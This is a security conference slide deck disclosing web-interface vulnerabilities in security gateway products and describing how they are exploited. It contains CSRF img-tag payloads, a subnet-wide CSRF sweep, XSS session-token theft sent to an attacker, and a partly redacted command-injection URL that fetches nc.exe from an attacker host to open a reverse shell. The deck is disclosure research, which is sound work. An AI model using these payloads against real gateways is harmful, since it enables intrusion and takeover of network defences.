They ought to know better:
Exploiting Security Gateways
via their Web Interfaces

Ben Williams
NGS-Secure
Introduction

- 40+ Exploits found and reported to vendors of Security Gateways since October 2011

- Many are serious issues which can lead an attacker to compromise the Gateway

- Owning the Gateway can be quick, and powerful... as I will show you...
Which kind of products exactly?

- **Security Gateways**
  - Multifunction Security Gateways
  - Single-function - Email and Web filtering

- **Appliances and Software**

- Some examples include:
  - ClearOS, Untangle, McAfee, Proofpoint, Barracuda
  - Websense, Symantec (Brightmail)
How are they deployed?
What do they look like?
My Exploit Research method

- Find vendor site, sign-up
- Download product evaluation
  - get eval-key (30 days)
- Install VM and snapshot
- “Blast it” with automated scanners
- Prod and poke it with Burp
  - (majority of time)
- SSH as root for whitebox testing
- Create/test exploits
- Log and report exploits
Common vulnerabilities found:

- Input-validation issues (90% of products)
  - XSS, command-injection, SQLi, parameter-tampering
- Various session-management issues (90%)
- Predictable URLs & parameters = CSRF (80%)
- Excessive privileges
- Authentication bypass and information-disclosure
- Out-of-date software, default configs/content
- Brute force password guessing
  - (too basic but lots of it)
Attack stages

- Phase one:
  - Gaining access to the UI

- Phase two:
  - Gaining access to the operating system
Interesting examples 1

- ClearOS
  - Information disclosure
  - Excessive privileges
Configure your network and interface settings.

**Network**

- **Mode**: Gateway Mode
- **Hostname**: system.clearos.lan
- **DNS Server #1**: 192.168.72.2

**Interface**

<table>
<thead>
<tr>
<th>Interface</th>
<th>Role</th>
<th>Type</th>
<th>IP Address</th>
<th>Link</th>
<th>Speed</th>
</tr>
</thead>
<tbody>
<tr>
<td>eth0</td>
<td>External</td>
<td>DHCP</td>
<td>192.168.233.41</td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>eth1</td>
<td>LAN</td>
<td>DHCP</td>
<td>192.168.1.69</td>
<td>Yes</td>
<td></td>
</tr>
</tbody>
</table>

Click on the link to add a virtual IP address.
Recap – Root shell and pivoting
Post exploitation

- It’s common for useful tools to be already installed
  - gcc
  - tcpdump
  - netcat
  - Nmap
  - Perl/Python
  - yum/apt-get
  - stunnel

- File-system frequently not “hardened”
  - No SELinux
  - Rare to see no-write/no-exec filesystems
Other session-token disclosure.
More session-tokens – bypassing cookie security

- Bypass cookie security flags (Http-Only)
- Session-token reflected on a page with XSS = Pull session-token out of the DOM, send to attacker

Attack scenarios

- Direct access to the Security Gateway UI
  - Auth-bypass, session-hijacking, information-disclosure

- No direct access to the UI
  - CSRF, XSS
  - (Requires reconnaissance, and interaction with users)
  - Special cases of CSRF it’s easier
  - OSRF with out-of-band XSS
CSRFing Website users

<html>
<img src="http://www.example.com/sensitive-function?dosomething=nasty" height="0" width="0">
</html>
CSRFing Home routers

```html
<html>
<img src="http://192.168.1.254:81/sensitive-function?dosomthing=nasty" height="0" width="0">
</html>
```
CSRFing Corporate Security Gateways

Attacker

Internet

Security Gateway

DMZ

Email Gateway

Web Gateway

Internal users

Victim

Administrator
Interesting examples 2

- Websense
  - Unauthenticated command-injection as SYSTEM

- Special CSRF
Reverse shell from single URL

https://192.168.1.42:xxxx/xxxx?xxxx=echo .pdf%26echo strUrl %3d ^"http:" %2b chr(47) %2b chr(47) %2b ^"192.168.233.11" %2b chr(47) %2b ^"nc.exe^">
But how to exploit it?
Problems with CSRFing internal products from outside

- Who is the admin?
- How do you get the admin to click something malicious whilst logged-in?
- Don’t know internal IP address of the product in advance?
- Product-UI port locked down to specific users?
Ways to find DMZ IP addresses

- From SMTP relays bounced messages
  - Message path in headers of bounced messages

- Misconfigured/unpatched Web servers
  - Apache/IIS/Tomcat disclose internal IP addresses
CSRF a whole subnet

<html>
<img src= http://192.168.1.1:xxxx/...etc...>
<img src= http://192.168.1.2:xxxx/...etc...>
<img src= http://192.168.1.3:xxxx/...etc...>
<img src= http://192.168.1.4:xxxx/...etc...>
<img src= http://192.168.1.5:xxxx/...etc...>
<img src= http://192.168.1.6:xxxx/...etc...>
<img src= http://192.168.1.7:xxxx/...etc...>
...etc...
Use the browser (and proxy)
There’s no place like localhost:

- 127.0.0.1
- 127.0.0.2

There are millions of ways of representing localhost, that the browser will not spot, and will send to the proxy, but the proxy will treat as localhost.
CSRF proxy attack
Proxy-killer

<html>

<img src= http://127.0.0.2:xxxx/...etc... 

</html>
I need to be clear here... think about this!
Interesting examples 3

- Proofpoint (video/demo)
  - Enumerate email addresses

- OSRF via email
Successfully moved 6 messages.

Quarantine > Messages

Sender: Starts With
Recipients: Starts With
Subject: Starts With
Reason: All messages
Maximum Age: Auto
Sort By: Date
Order: Descending

Messages

No messages found for your query
Logged in as: admin

Administrator(s): backdoor has been deleted.

<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Email</th>
<th>Phone</th>
<th>Comment</th>
<th>Current Session</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>admin</td>
<td></td>
<td></td>
<td></td>
<td>2012-02-12 22:06:49 [UTC+0000]</td>
</tr>
</tbody>
</table>
Recap – UI ownage via OSRF
Effective entropy
The chart shows the number of bits of effective entropy at each significance level, based on the character-level tests. Each significance level defines a minimum probability of the observed results occurring if the sample is randomly generated. When the probability of the observed results occurring falls below this level, the hypothesis that the sample is randomly generated is rejected. Using a lower significance level means that stronger evidence is required to reject the hypothesis that the sample is random, and so increases the chance that non-random data will be treated as random.
Conclusion

- Exploiting Security Gateway products offers powerful positions for an attacker

- Wide range of issues, some very serious
  - Some easy to find, some harder

- Most techniques used are several years old

- I feel there is a big knowledge gap between secure website development and secure UI development
Further research

- This is a rich area for exploit-development
  - 40+ Exploits found so far in Security Gateways (just takes time)
  - Lots of similar products vulnerable to similar attacks

- Other types of product
  - Daniel Compton – Similar project but for Network-Monitoring software ~ 35+ exploits so far
  - I’ve started looking at SSL VPNs
Questions and suggestions

- Whitepaper available at BlackHat EU
- Company Website: http://www.ngssecure.com
- Personal Blog: http://insidetrust.blogspot.com
- QUESTIONS?
- Please fill out the feedback forms